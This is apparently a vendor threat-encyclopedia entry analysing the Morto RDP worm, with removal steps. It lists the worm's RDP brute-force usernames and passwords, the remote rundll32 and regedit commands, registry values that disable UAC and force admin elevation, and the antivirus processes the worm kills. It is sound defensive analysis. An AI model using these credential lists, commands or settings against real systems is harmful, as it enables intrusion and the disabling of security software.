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WORM_MORTO.SM
Aliases: Worm:Win32/Morto.A (Microsoft)
Malware type: Worm
Destructive: No
Platform: Windows 2000, Windows XP, Windows Server 2003
Encrypted: Yes
In the wild: Yes

Overview


This worm uses Remote Desktop Protocol (RDP) for its propagation routines.

To get a one-glance comprehensive view of the behavior of this Worm, refer to the Threat Diagram shown below.

This worm arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It may be dropped by other malware.

It deletes the initially executed copy of itself.

Technical Details


File size: 7,184 bytes
File type: DLL
Memory resident: Yes
Initial samples received date: 30 Aug 2011
Payload: Terminates processes

Arrival Details

This worm arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It may be dropped by the following malware:

  • WORM_MORTO.SMA

Installation

This worm drops the following copies of itself into the affected system:

  • %Windows%\clb.dl
  • %Windows%\Offline Web Pages\cache.txt

(Note: %Windows% is the Windows folder, which is usually C:\Windows or C:\WINNT.)

It drops the following file(s)/component(s):

  • %System%\Sens32.dll

(Note: %System% is the Windows system folder, which is usually C:\Windows\System on Windows 98 and ME, C:\WINNT\System32 on Windows NT and 2000, or C:\Windows\System32 on Windows XP and Server 2003.)

It drops the following non-malicious file:

  • %Windows%\Offline Web Pages\%yyyy-mm-dd%

(Note: %Windows% is the Windows folder, which is usually C:\Windows or C:\WINNT.)

It injects itself into the following processes as part of its memory residency routine:

  • svchost.exe

Other System Modifications

This worm adds the following registry entries as part of its installation routine:

HKEY_LOCAL_MACHINE\SYSTEM\WPA
it = "{hex values}"

HKEY_LOCAL_MACHINE\SYSTEM\WPA
id = "1293D1C15VAVUJTN"

HKEY_LOCAL_MACHINE\SYSTEM\WPA
ie = "%current folder%\{malware name}.exe"

HKEY_LOCAL_MACHINE\SYSTEM\WPA
md = "{garbage code}"

HKEY_LOCAL_MACHINE\SYSTEM\WPA
sn = "6to4"

HKEY_LOCAL_MACHINE\SYSTEM\WPA
sr = "Sens"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\Windows
NoPopUpsOnBoot = "1"

Process Termination

This worm terminates processes or services that contain any of the following strings if found running in the affected system's memory:

  • ACAAS
  • ArcaConfSV
  • AvastSvc
  • FPAVServer
  • FortiScand
  • GDFwSvc
  • K7RTScan
  • KVSrvXP
  • MPSvc
  • MsMpEng
  • NSESVC.EXE
  • PavFnSvr
  • RavMonD
  • SavService
  • SpySweeper
  • Vba32Ldr
  • a2service
  • avgwdsvc
  • avpmapp
  • ccSvcHst
  • cmdagent
  • coreServiceShell
  • freshclam
  • fsdfwd
  • knsdave
  • kxescore
  • mcshield
  • scanwscs
  • vsserv

Other Details

This worm deletes the initially executed copy of itself

NOTES:

This worm creates a backup copy of its dropped file as %Windows%\clb.dll.bak.

The file %system%\clb.dll is a legitimate file which is used by regedit.exe. That is why the copy of this malware is placed in %Windows% directory is to trick regedit.exe that the dropped file is the component that it needs. Therefore, regedit.exe loads the malicious clb.dll into the system.

It listens to port 3389/TCP, the port for RDP, for possible enabled Remote Desktop. This worm searches for Remote Desktop Servers, and tries to log-in as Administrator using the following usernames:

  • actuser
  • admin
  • admin1
  • admin123
  • admin2
  • administrator
  • aspnet
  • backup
  • computer
  • console
  • david
  • dragon
  • guest
  • owner
  • princess
  • server
  • support
  • support_388945a0
  • test1
  • test2
  • test3
  • user1
  • user2
  • user3
  • user4
  • user5

It also tries the following passwords:

  • !@#$%
  • $1234
  • %u%111111
  • %u%12
  • %u%123
  • %u%1234
  • %u%123456
  • 000000
  • 111111
  • 1111111
  • 111222
  • 112233
  • 11223344
  • 121212
  • 123123
  • 123321
  • 12344321
  • 12345
  • 123456
  • 1234567
  • 12345678
  • 123456789
  • 1234567890
  • 1234qwer
  • 1314520
  • 159357
  • 168168
  • 1q2w3e
  • 1qaz2wsx
  • 22222222
  • 31415926
  • 520520
  • 654321
  • 666666
  • 7777777
  • 77777777
  • 789456
  • 888888
  • 88888888
  • 987654
  • 987654321
  • 999999
  • 1234
  • PASSWORD
  • Password
  • Z1234
  • abc123
  • abcd1234
  • actuser
  • admin
  • admin1
  • admin123
  • admin2
  • administrator
  • aspnet
  • backup
  • computer
  • console
  • david
  • dragon
  • guest
  • iloveyou
  • letmein
  • owner
  • password
  • princess
  • qazwsx
  • rockyou
  • secret
  • server
  • super
  • support
  • support_388945a0
  • test1
  • test2
  • test3
  • user1
  • user2
  • user3
  • user4
  • user5
  • zxcvbnm
Once remotely connected, this worm copies the file %Windows%\clb.dll as a .DLL to a directory in a temporary drive A: using the following remote command:
  • rundll32 \\tsclient\a\a.dll a
It also creates the r.reg on the said path with the following contents using the remote command regedit /s \\tsclient\a\r.reg:
  • [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
    ConsentPromptBehaviorAdmin=0
    EnableLUA=0

  • [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers]
    c:\\windows\\system32\\rundll32.exe=RUNASADMIN
    d:\\windows\\system32\\rundll32.exe=RUNASADMIN
    e:\\windows\\system32\\rundll32.exe=RUNASADMIN
    f:\\windows\\system32\\rundll32.exe=RUNASADMIN
    g:\\windows\\system32\\rundll32.exe=RUNASADMIN
    h:\\windows\\system32\\rundll32.exe=RUNASADMIN
    i:\\windows\\system32\\rundll32.exe=RUNASADMIN
    c:\\windows\\SysWOW64\\rundll32.exe=RUNASADMIN
    d:\\windows\\SysWOW64\\rundll32.exe=RUNASADMIN
    e:\\windows\\SysWOW64\\rundll32.exe=RUNASADMIN
    f:\\windows\\SysWOW64\\rundll32.exe=RUNASADMIN
    g:\\windows\\SysWOW64\\rundll32.exe=RUNASADMIN
    h:\\windows\\SysWOW64\\rundll32.exe=RUNASADMIN
    i:\\windows\\SysWOW64\\rundll32.exe=RUNASADMIN
    c:\\winnt\\system32\\rundll32.exe=RUNASADMIN
    c:\\win2008\\system32\\rundll32.exe=RUNASADMIN
    c:\\win2k8\\system32\\rundll32.exe=RUNASADMIN
    c:\\win7\\system32\\rundll32.exe=RUNASADMIN
    c:\\windows7\\system32\\rundll32.exe=RUNASADMIN

This worm downloads an updated copy of itself using the link http:\\%domain%\160.rar with the following domains below:
  • {BLOCKED}r.{BLOCKED}o.be
  • {BLOCKED}r.{BLOCKED}o.cc
  • {BLOCKED}r.info
  • {BLOCKED}r.net
  • {BLOCKED}l.{BLOCKED}o.be
  • {BLOCKED}l.{BLOCKED}o.cc
  • {BLOCKED}l.net
  • {BLOCKED}0.{BLOCKED}.38.82

Solution


Minimum scan engine: 9.200
First VSAPI Pattern File: 8.390.05
First VSAPI Pattern Release Date: 30 Aug 2011
VSAPI OPR Pattern Version: 8.391.00
VSAPI OPR Pattern Release Date: 31 Aug 2011

Step 1

For Windows XP and Windows Server 2003 users, before doing any scans, please make sure you disable System Restore to allow full scanning of your computer.

Step 2

Remove malware/grayware files that dropped/downloaded WORM_MORTO.SM

Step 3

Restart in Safe Mode

[ Learn more ]

Step 4

Delete this registry value

[ Learn more ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.


  • In HKEY_LOCAL_MACHINE\SYSTEM\WPA
    • it = "{hex values}"
  • In HKEY_LOCAL_MACHINE\SYSTEM\WPA
    • id = "1293D1C15VAVUJTN"
  • In HKEY_LOCAL_MACHINE\SYSTEM\WPA
    • ie = "%current folder%\{malware name}.exe"
  • In HKEY_LOCAL_MACHINE\SYSTEM\WPA
    • md = ”{garbage code}"
  • In HKEY_LOCAL_MACHINE\SYSTEM\WPA
    • sn = "6to4"
  • In HKEY_LOCAL_MACHINE\SYSTEM\WPA
    • sr = "Sens"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows
    • NoPopUpsOnBoot = "1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    • ConsentPromptBehaviorAdmin = "0"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    • EnableLUA = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
    • c:\windows\system32\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • d:\windows\system32\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • e:\windows\system32\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • f:\windows\system32\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • g:\windows\system32\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • h:\windows\system32\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • i:\windows\system32\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • c:\windows\SysWOW64\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • d:\windows\SysWOW64\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • e:\windows\SysWOW64\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • f:\windows\SysWOW64\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • g:\windows\SysWOW64\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • h:\windows\SysWOW64\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • i:\windows\SysWOW64\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • c:\winnt\system32\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • c:\win2008\system32\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • c:\win2k8\system32\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • c:\win7\system32\rundll32.exe = "RUNASADMIN"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\
    Layers
    • c:\windows7\system32\rundll32.exe = "RUNASADMIN"

Step 5

Search and delete these files

[ Learn more ]
There may be some component files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden files and folders in the search result.
  • %System%\Sens32.dll
  • %Windows%\Offline Web Pages\%yyyy-mm-dd%
  • A:\r.reg

Step 6

Restart in normal mode and scan your computer with your Trend Micro product for files detected as WORM_MORTO.SM. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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Analysis By: Sabrina Lei Sioting

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